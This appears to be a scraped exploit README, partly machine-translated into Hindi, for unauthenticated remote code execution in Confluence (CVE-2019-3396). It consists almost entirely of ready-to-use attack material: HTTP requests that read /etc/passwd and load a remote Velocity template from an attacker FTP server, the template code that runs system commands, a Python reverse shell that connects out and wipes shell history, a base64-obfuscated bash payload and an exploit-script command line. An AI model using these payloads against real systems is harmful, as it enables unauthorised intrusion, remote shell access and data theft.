jas502n/cve-2019-3396Confluence अनधिकृत RCE (CVE-2019-3396) भेद्यता
POST /rest/tinymce/1/macro/preview HTTP/1.1
Host: 10.10.20.181
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/plain, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: application/json; charset=utf-8
X-Requested-With: XMLHttpRequest
Referer: http://10.10.20.181/
Content-Length: 167
X-Forwarded-For: 127.0.0.2
Connection: keep-alive
{"contentId":"1","macro":{"name":"widget","params":{"url":"https://www.viddler.com/v/test","width":"1000","height":"1000","_template":"file:///etc/passwd"},"body":""}}
POST /rest/tinymce/1/macro/preview HTTP/1.1
Host: 10.10.20.181
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/plain, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: application/json; charset=utf-8
X-Requested-With: XMLHttpRequest
Referer: http://10.10.20.181/
Content-Length: 198
X-Forwarded-For: 127.0.0.2
Connection: keep-alive
{"contentId":"1","macro":{"name":"widget","params":{"url":"https://www.viddler.com/v/test","width":"1000","height":"1000","_template":"ftp://10.10.20.166:8886/r.vm","command":"ifconfig"},"body":""}}
pip install pyftpdlib
python -m pyftpdlib -p 8888
से https://github.com/pyn3rd/CVE-2019-3396
#set ($exp="exp")
#set ($a=$exp.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec($command))
#set ($input=$exp.getClass().forName("java.lang.Process").getMethod("getInputStream").invoke($a))
#set($sc = $exp.getClass().forName("java.util.Scanner"))
#set($constructor = $sc.getDeclaredConstructor($exp.getClass().forName("java.io.InputStream")))
#set($scan=$constructor.newInstance($input).useDelimiter("\\A"))
#if($scan.hasNext())
$scan.next()
#end
POST /rest/tinymce/1/macro/preview HTTP/1.1
Host: 10.10.20.181
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/plain, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: application/json; charset=utf-8
X-Requested-With: XMLHttpRequest
Referer: http://10.10.20.181/
Content-Length: 232
X-Forwarded-For: 127.0.0.2
Connection: keep-alive
{"contentId":"1","macro":{"name":"widget","params":{"url":"https://www.viddler.com/v/test","width":"1000","height":"1000","_template":"ftp://10.10.20.166:8888/r.vm","command":"setsid python /tmp/nc.py 10.10.20.166 8989"},"body":""}}
# -*- coding:utf-8 -*-
#!/usr/bin/env python
"""
back connect py version,only linux have pty module
code by google security team
"""
import sys,os,socket,pty
shell = "/bin/sh"
def usage(name):
print 'python reverse connector'
print 'usage: %s <ip_addr> <port>' % name
def main():
if len(sys.argv) !=3:
usage(sys.argv[0])
sys.exit()
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
s.connect((sys.argv[1],int(sys.argv[2])))
print 'connect ok'
except:
print 'connect faild'
sys.exit()
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
global shell
os.unsetenv("HISTFILE")
os.unsetenv("HISTFILESIZE")
os.unsetenv("HISTSIZE")
os.unsetenv("HISTORY")
os.unsetenv("HISTSAVE")
os.unsetenv("HISTZONE")
os.unsetenv("HISTLOG")
os.unsetenv("HISTCMD")
os.putenv("HISTFILE",'/dev/null')
os.putenv("HISTSIZE",'0')
os.putenv("HISTFILESIZE",'0')
pty.spawn(shell)
s.close()
if __name__ == '__main__':
main()
http://www.jackson-t.ca/runtime-exec-payloads.html
whoami
>>> bash -c {echo,d2hvYW1p}|{base64,-d}|{bash,-i}
python test.py http://10.10.20.181 "cat /etc/passwd"
div प्रति पंक्ति के आरंभ और अंत से रिक्त स्थान हटाएँ